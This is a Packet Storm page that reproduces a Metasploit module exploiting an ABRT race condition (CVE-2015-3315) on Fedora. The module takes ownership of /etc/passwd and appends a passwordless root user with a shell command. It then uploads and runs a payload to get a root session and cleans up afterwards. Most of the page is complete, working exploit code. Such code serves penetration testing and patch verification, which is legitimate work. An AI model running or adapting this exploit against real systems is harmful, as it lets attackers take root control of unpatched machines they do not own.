exploit the possibilities

ABRT raceabrt Privilege Escalation

ABRT raceabrt Privilege Escalation
Posted Feb 15, 2018
Authored by Tavis Ormandy | Site metasploit.com

This Metasploit module attempts to gain root privileges on Fedora systems with a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured as the crash handler. A race condition allows local users to change ownership of arbitrary files (CVE-2015-3315). This Metasploit module uses a symlink attack on '/var/tmp/abrt/*/maps' to change the ownership of /etc/passwd, then adds a new user with UID=0 GID=0 to gain root privileges. Winning the race could take a few minutes. This Metasploit module has been tested successfully on ABRT packaged version 2.1.5-1.fc19 on Fedora Desktop 19 x86_64, 2.2.1-1.fc19 on Fedora Desktop 19 x86_64 and 2.2.2-2.fc20 on Fedora Desktop 20 x86_64. Fedora 21 and Red Hat 7 systems are reportedly affected, but untested.

tags | exploit, arbitrary, local, root
systems | linux, redhat, fedora
advisories | CVE-2015-3315
MD5 | 3c4dcedecdad12c4db50bc8906bc04a4

ABRT raceabrt Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'ABRT raceabrt Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on Fedora systems with
a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured
as the crash handler.

A race condition allows local users to change ownership of arbitrary
files (CVE-2015-3315). This module uses a symlink attack on
'/var/tmp/abrt/*/maps' to change the ownership of /etc/passwd,
then adds a new user with UID=0 GID=0 to gain root privileges.
Winning the race could take a few minutes.

This module has been tested successfully on ABRT packaged version
2.1.5-1.fc19 on Fedora Desktop 19 x86_64, 2.2.1-1.fc19 on Fedora Desktop
19 x86_64 and 2.2.2-2.fc20 on Fedora Desktop 20 x86_64.

Fedora 21 and Red Hat 7 systems are reportedly affected, but untested.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tavis Ormandy', # Discovery and C exploit
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'DisclosureDate' => 'Apr 14 2015',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'References' =>
[
[ 'CVE', '2015-3315' ],
[ 'EDB', '36747' ],
[ 'BID', '75117' ],
[ 'URL', 'https://gist.github.com/taviso/fe359006836d6cd1091e' ],
[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ],
[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/16/12' ],
[ 'URL', 'https://github.com/abrt/abrt/commit/80408e9e24a1c10f85fd969e1853e0f192157f92' ],
[ 'URL', 'https://access.redhat.com/security/cve/cve-2015-1862' ],
[ 'URL', 'https://access.redhat.com/security/cve/cve-2015-3315' ],
[ 'URL', 'https://access.redhat.com/articles/1415483' ],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1218239' ]
]
))
register_options(
[
OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '900' ]),
OptString.new('USERNAME', [ false, 'Username of new UID=0 user (default: random)', '' ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
])
end

def base_dir
datastore['WritableDir']
end

def timeout
datastore['TIMEOUT']
end

def check
if cmd_exec('lsattr /etc/passwd').include? 'i'
vprint_error 'File /etc/passwd is immutable'
return CheckCode::Safe
end

kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern'
unless kernel_core_pattern.include? 'abrt-hook-ccpp'
vprint_error 'System is NOT configured to use ABRT for crash reporting'
return CheckCode::Safe
end
vprint_good 'System is configured to use ABRT for crash reporting'

if cmd_exec('[ -d /var/spool/abrt ] && echo true').include? 'true'
vprint_error "Directory '/var/spool/abrt' exists. System has been patched."
return CheckCode::Safe
end
vprint_good 'System does not appear to have been patched'

unless cmd_exec('[ -d /var/tmp/abrt ] && echo true').include? 'true'
vprint_error "Directory '/var/tmp/abrt' does NOT exist"
return CheckCode::Safe
end
vprint_good "Directory '/var/tmp/abrt' exists"

if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive'
vprint_error 'abrt-ccp service NOT running'
return CheckCode::Safe
end
vprint_good 'abrt-ccpp service is running'

abrt_version = cmd_exec('yum list installed abrt | grep abrt').split(/\s+/)[1]
unless abrt_version.blank?
vprint_status "System is using ABRT package version #{abrt_version}"
end

CheckCode::Detected
end

def upload_and_chmodx(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
cmd_exec "chmod +x '#{path}'"
register_file_for_cleanup path
end

def exploit
if check != CheckCode::Detected
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end

@chown_file = '/etc/passwd'

if datastore['USERNAME'].blank?
@username = rand_text_alpha rand(7..10)
else
@username = datastore['USERNAME']
end

# Upload Tavis Ormandy's raceabrt exploit:
# - https://www.exploit-db.com/exploits/36747/
# Cross-compiled with:
# - i486-linux-musl-cc -static raceabrt.c
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-3315', 'raceabrt'
fd = ::File.open path, 'rb'
executable_data = fd.read fd.stat.size
fd.close

executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
executable_path = "#{base_dir}/#{executable_name}"
upload_and_chmodx executable_path, executable_data

# Change working directory to base_dir
cmd_exec "cd '#{base_dir}'"

# Launch raceabrt executable
print_status "Trying to own '#{@chown_file}' - This might take a few minutes (Timeout: #{timeout}s) ..."
output = cmd_exec "#{executable_path} #{@chown_file}", nil, timeout
output.each_line { |line| vprint_status line.chomp }

# Check if we own /etc/passwd
unless cmd_exec("[ -w #{@chown_file} ] && echo true").include? 'true'
fail_with Failure::Unknown, "Failed to own '#{@chown_file}'"
end

print_good "Success! '#{@chown_file}' is writable"

# Add new user with no password
print_status "Adding #{@username} user to #{@chown_file} ..."
cmd_exec "echo '#{@username}::0:0::/root:/bin/bash' >> #{@chown_file}"

# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe

# Execute payload executable
vprint_status 'Executing payload...'
cmd_exec "/bin/bash -c \"echo #{payload_path} | su - #{@username}&\""
end

def on_new_session(session)
if session.type.to_s.eql? 'meterpreter'
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
end

# Reinstate /etc/passwd root ownership and remove new user
root_owns_passwd = false
new_user_removed = false

if session.type.to_s.eql? 'meterpreter'
# Reinstate /etc/passwd root ownership
session.sys.process.execute '/bin/sh', "-c \"chown root:root #{@chown_file}\""

# Remove new user
session.sys.process.execute '/bin/sh', "-c \"sed -i 's/^#{@username}:.*$//g' #{@chown_file}\""

# Wait for clean up
Rex.sleep 5

# Check root ownership
passwd_stat = session.fs.file.stat(@chown_file).stathash
if passwd_stat['st_uid'] == 0 && passwd_stat['st_gid'] == 0
root_owns_passwd = true
end

# Check for new user in /etc/passwd
passwd_contents = session.fs.file.open(@chown_file).read.to_s
unless passwd_contents.include? "#{@username}:"
new_user_removed = true
end
elsif session.type.to_s.eql? 'shell'
# Reinstate /etc/passwd root ownership
session.shell_command_token "chown root:root #{@chown_file}"

# Remove new user
session.shell_command_token "sed -i 's/^#{@username}:.*$//g' #{@chown_file}"

# Check root ownership
passwd_owner = session.shell_command_token "ls -l #{@chown_file}"
if passwd_owner.to_s.include? 'root'
root_owns_passwd = true
end

# Check for new user in /etc/passwd
passwd_user = session.shell_command_token "grep '#{@username}:' #{@chown_file}"
unless passwd_user.to_s.include? "#{@username}:"
new_user_removed = true
end
end

unless root_owns_passwd
print_warning "Could not reinstate root ownership of #{@chown_file}"
end

unless new_user_removed
print_warning "Could not remove user '#{@username}' from #{@chown_file}"
end
rescue => e
print_error "Error during cleanup: #{e.message}"
ensure
super
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    34 Files
  • 2
    Jul 2nd
    15 Files
  • 3
    Jul 3rd
    9 Files
  • 4
    Jul 4th
    8 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    3 Files
  • 7
    Jul 7th
    1 Files
  • 8
    Jul 8th
    15 Files
  • 9
    Jul 9th
    15 Files
  • 10
    Jul 10th
    20 Files
  • 11
    Jul 11th
    17 Files
  • 12
    Jul 12th
    15 Files
  • 13
    Jul 13th
    2 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    20 Files
  • 16
    Jul 16th
    27 Files
  • 17
    Jul 17th
    6 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close